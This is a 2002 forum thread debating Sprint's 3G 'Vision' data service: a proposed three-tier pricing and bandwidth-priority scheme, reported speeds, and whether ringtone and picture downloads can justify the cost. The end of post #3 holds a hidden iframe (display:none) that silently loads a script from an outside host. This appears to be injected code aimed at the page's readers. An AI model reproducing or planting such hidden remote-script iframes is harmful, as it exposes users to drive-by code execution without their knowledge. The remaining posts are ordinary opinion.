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  1. #1
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    outrageous 3G data charges, BETTER idea

    As I understand it, Sprint's 3G infrastructure actually has the ability to implement QoS bandwidth shaping -- in other words, give different people different priorities when bandwidth is saturated.

    Assuming that's the case, what I'd recommend is a sensible three-tier price structure for 3G data that recognizes three main groups:

    * People willing to pay OUTRAGEOUS amounts of money for data service that's guaranteed to be reliable & usably fast, and gives them first priority over available bandwidth for the fastest throughput practical. Say, businesspeople doing presentations requiring internet access, or doing work at somebody else's expense.

    * People who can live with service that isn't necessarily FAST, but need at least some dependable minimum level of connectivity. Say, merchants at a flea market with wireless credit card terminals.

    * People who don't want to pay very much money, but can live with unreliable and often-slow service if it's cheap enough to let them have wireless fun at low cost without disrupting anyone who's actually a high-paying customer.

    Proposed tiers:

    Premium -- Service that's expensive, but generally fast and always reliable. Real QoS guarantees with teeth. These customers pay outrageous amounts of money for elite service, and generally subsidize everyone else's fun. Reliable connectivity is guaranteed, brisk connectivity is assured, and fast connectivity is promised. With the specific exception of the (minimal) guaranteed minimums for "Standard" users, the service of Premium customers comes before all others.

    Standard -- approximately half the cost of Premium. Also includes real QoS guarantees, but guarantees much, much less -- say, 2.4k/second average, 9.6k/minute average. Enough to ensure they're never forced offline and always have at least some bandwidth, but still a pretty low guarantee.

    Economy -- approximately half the cost of Standard. No guarantees whatsoever, provided purely as a "worst effort" service.


    Costs would vary between peak and off-peak just like voice usage (except the rate for subsequent usage would instantly switch at changeover time).

    During peak time, Premium service would be outrageously expensive (say, 5c/Kb), Standard would be expensive (say, the current cost of Vision), and Economy would be less expensive (say, 1c/Kb).

    During off-peak time, Premium users would be rewarded with data rates only slightly higher than Economy, but preferential treatment and bandwidth allocation. Say, 1.5c/Kb for Premium, 1c/Kb for Standard, and .5c/Kb for Economy.


    For all areas, bandwidth allocation would be as follows:

    All Premium and Standard users are allocated enough bandwidth to sustain a minimum of 2.4k/second. That's low, but its a level that should be sustainable anywhere, even under the most catastrophically overcrowded and saturated conditions.

    For the remaining bandwidth, throughput is quoted in k/second over the span of 5 seconds (in other words, at 48k/second, there could be literally 48k coming every second, or only 2.4k/second for 3 seconds, followed by a 2-second burst of 140k data).

    Bandwidth allocated to Premium users to bring them up to 48k/second.

    Remaining bandwidth allocated to Standard users to bring them up to 4.8k/second

    Remaining bandwidth allocated to Premium users to bring them up to 64k/second

    Remaining bandwidth allocated to Standard users to bring them up to 9.6k/second

    Remaining bandwidth allocated to Premium users to bring them up to 96k/second

    Remaining bandwidth allocated to Standard users to bring them up to 32k/second

    Remaining bandwidth allocated to Economy users to bring them up to 2.4k/second (over 5 seconds)

    Remaining bandwidth allocated to Premium users to satisfy their needs at 128k/second

    Remaining bandwidth allocated to Standard users to bring them up to 48k/second

    Remaining bandwidth allocated to Economy users to bring them up to 9.6k/second

    Remaining bandwidth allocated to Premium users to bring them up to maximum speed

    Remaining bandwidth allocated to Standard users to bring them up to 96k/second

    Remaining bandwidth allocated to Economy users to bring them up to 32k/second

    Remaining bandwidth allocated to Standard users to bring them up to 128k/second

    Remaining bandwidth allocated to Economy users to bring them up to 64k/second

    Remaining bandwidth allocated to Standard users to bring them up to maximum speed

    Remaining bandwidth allocated to Economy users to bring them up to maximum speed.

    Finally, to make traveling businesspeople craving wireless semi-broadband to use at night from their hotel rooms happy -- and get more people to risk the rates of Premium, "Premium" users could optionally choose to have their usage charges capped off at something like $15 per block of time between the start of off-peak and the beginning of peak the next morning ( with some comparable scheme to divide up the weekend), with the caveat that their bandwidth throughput will be scaled back to "Standard" level once they've exceeded the maximum data transfer that $15 worth of off-peak Premium service would have ordinarily bought.

    If Sprint were feeling extraordinarily kind, they could even cut a similar deal for "Standard" users, with a similar catch (once they've exceeded the maximum data transfer that $15 would have bought at their rate level, they'll be rolled down to "Economy" throughput for the remainder of the capped-off period.
    Last edited by miamicanes; 08-14-2002 at 08:51 PM.

  2. #2
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    I have taken the liberty of copying your post and sending it "up the flagpole" so to speak.

    FASCINATING!!
    Si hoc Legere Scis Nimium Eruditionis habes.

  3. #3
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    Everything that you have said makes absolutely no sense. This is not how the infrastructure works. I know because I am on the 3G implementation team<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  4. #4
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    ahh, well, do you know if the 3g services are currently slow and if they will get faster? or is this it

    for this level of 3g service obviouslly its going to get faster when they move to the next level

    A
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  5. #5
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    The current max speed is 144 kbps . Sprint advertises an avg of 50-70 kbps. I have personally seen devices move faster that the avg. For instance the Novatel Merlin C01 has given me 90-115 kbps and the sierra aircard 550 about 10-15 kbps under that.
    The differences between these two is that the merlin is data only whereas the sierra is data and voice capable. The next release of 3G/Vision will come in the next year or two, and the next release 2 years after that. So this means 3G/Vision will jump from 144kbps to the 1-2 mbps region, then on to the 2-4 mbps region by 2005

  6. #6
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    Well that would be an interesting approach. It certainly would be adequately difficult and meet the starndard requirements for small print jabber. If they try to instate something like this then it is going to confuse customers even more. Like they need that.

    But seriously, this would be a giant step backwards. It would complicate the system and is reminiscent of the old way of selling data access. Although it might make sense to you, it would just result in a bunch of pissed off customers. Even if they knew they paid less, they'd still be mad about lesser service. It's a nice idea though. Just don't think it'd work.
    Let he who is without sin cast the first stone.

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  7. #7
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    I disagree with the idea of "tiering" data access. Sprint doesn't need more complicated pricing schemes to explain. There's plenty of users out there scared when they hear "always on" connections...and think they get charged against their voice minutes while connected.

    What sprint needs is a compelling reason why people need this service. Blackberry like downloads of email, true Instant Messaging, these could be compelling reasons to use the service.

    Taking pictures and sending them to your friends, downloading jpg's of fish or ringtones, these don't resonate with anyone.

  8. #8
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    reply

    Actually the downloading of the ringers, screensavers and the picture functionality is going to be one of the main drivers for the Vision service. If we look at how things have gone in other countries ie China, Japan, Korea, Brazil..... the enhanced features of the 3g network is what people really want. We all know the phones themselves will also be an important factor because sprint has always had better phones. (feature rich, and better looking)

  9. #9
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    I don't get it.

    Perhaps I am in the wrong group of demographics for 3G. I just do not see how downloading ringers, screensavers and pictures are going to drive the market to justify the cost of 3G. I have worked in the computer business for over 20 years (I'm 42), and still consider myself a bleeding edge guy, a geek of sorts, but I consider all this cool stuff to be a tool. Smartphone, wireless data access, etc are tools for my business. I need access to support clients, and wireless access give me one more tool to support my clients. It is very cool (albiet very slow), to connect to a router with my i300 and check on a problem. Doesn't matter where I am and I have complete flexibility to do what I want from where I want. I have resisted upgrading to a 3G handset because I just don't see what it is going to get me. The current smartphone offerings are VERY lame. The only one that tweeks my interest is the 7135. I am more interested in the Novatel C201 wireless card which has received a good review here. While it is nice to troubleshoot problems on my phone, it also gets old for anything that is more than a 10-15 minute problem. I currently have a Aircard 510, and I use it when I need to, but will also look for a landline if some sort of high speed access is not available. I am leaning towards getting a 3G only data account, and leaving my free and clear plan alone. I am still wresting with how many mB I really need. (It can vary greatly from one month to the next).

    I guess I am saying that I am having trouble justfying 3G right now and I would say I have a pretty good biz reason for it. When I fire up my laptop, I usually send someone a bill, so 3G will make me money. How does sprint think the average user (who sometimes doesn't have a clue how to check their voice mail) is going to justify a 3G plan? Do they really think downloading ringers and screensavers is the justification? Why do you guys think you need 3G? I know why I "think" I do, but I will sit on the sidelines for a while. The reports of speed have been less than stellar, and I have not heard anyone jump up and say "You gotta have this!!!" I guess my smartphone is a tool, nothing more, it is not my entertainment. There has got to be a better reason for needing 3G and it needs to be priced so people are not scared to use it.
    Carl

  10. #10
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    I agree with Carl...

    Korea is an interesting market, definitely. But the U.S. is quite different (yet, at least). The real driving application in Korea on the cellphones beyond the voice service was SMS. You will often see that most of the younger people in subway, etc. stooped a bit, both their fingers on their handsets typing like 100~150 characters per minute.

    Of course, then there is this downloading of ringer tones and screensavers. However, it works for those companies because, first of all, those downloads are quite cheap and the billing system is _very_ convenient. In Korea, you can bill most of the stuff on your cellphone bills (like credit cards). And since almost everyone (including kids in elementary schools) has cellphones, ~$5 a month on those twinklets aren't such a "big" deal. I mean, they don't pay for their phone bills anyway (as long as their parents don't notice too much it's okay, I guess).

    And the thing is, all these applications existed _and_ flourished even before Korea began to employ CDMA2000 1xRTT. All these were possible without the "broadband" and the added pipe adds little, in my opinion, to these application.

    Sprint and Verizon should realize that the customers in the U.S. are quite different. I mean, those trinklet application will become a major one eventually when the price comes down and the handsets are available to a lot more people (the bi-coastal markets are also an exception, not the norm in the U.S.). Until then, they have to look to the "corporate" or "business" market for the paying customers. And for them, I think, the core communication application (SMS and always-on web or push email, etc.) would be a more appealing item.

    <rant>When neither Sprint nor Verizon hasn't even implemented the bi-directional SMS correctly, it's quite depressing to see them trying to push ringer tones and screensavers... It's quite frustrating, actually.</rant>
    i have great faith in fools -- self confidence my friends call it. -- edgar allan poe

  11. #11
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    Kboy, nice post. I have no idea about the Korean market. I think we all would pay $5/month for new services, but that is not the way it is here. I have been doing POP3/SMTP mail on my i300 (and 6035 before that) for a year and a half now. In my opinion, it IS the killer APP that COULD drive all this 3G. But, what good is getting pushed an email when you are driving 80 mph. While the 14.4 is sometimes slow, it is not terrible for getting my mail. I get it when I want it and have time to read it. Maybe filtering the mail and a notification of something really important might be nice via a special alert, but I get so much darn mail to my main acct (not including list server subscriptions) that I do not WANT to know everytime I have a message. People who really need to get me quickly already know how to send a short message to my phone, or (this is high tech), they CALL me. I am not saying 3G is not worth something, but until I can replace my T1s at the office or broadband connection at home, I am still not that excited. But screensavers and ringers are the biggest laugh I have had in a while. If that is the best the marketing gang at Sprint can do, then I suggest they find a new marketing guy....... again, maybe becasue of my elder age I don't get it. It is a distinct possibility!
    Carl

  12. #12
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    I ask the question...... if this cutting edge group has not jumped on the 3G bandwagon yet..... then who?
    Carl

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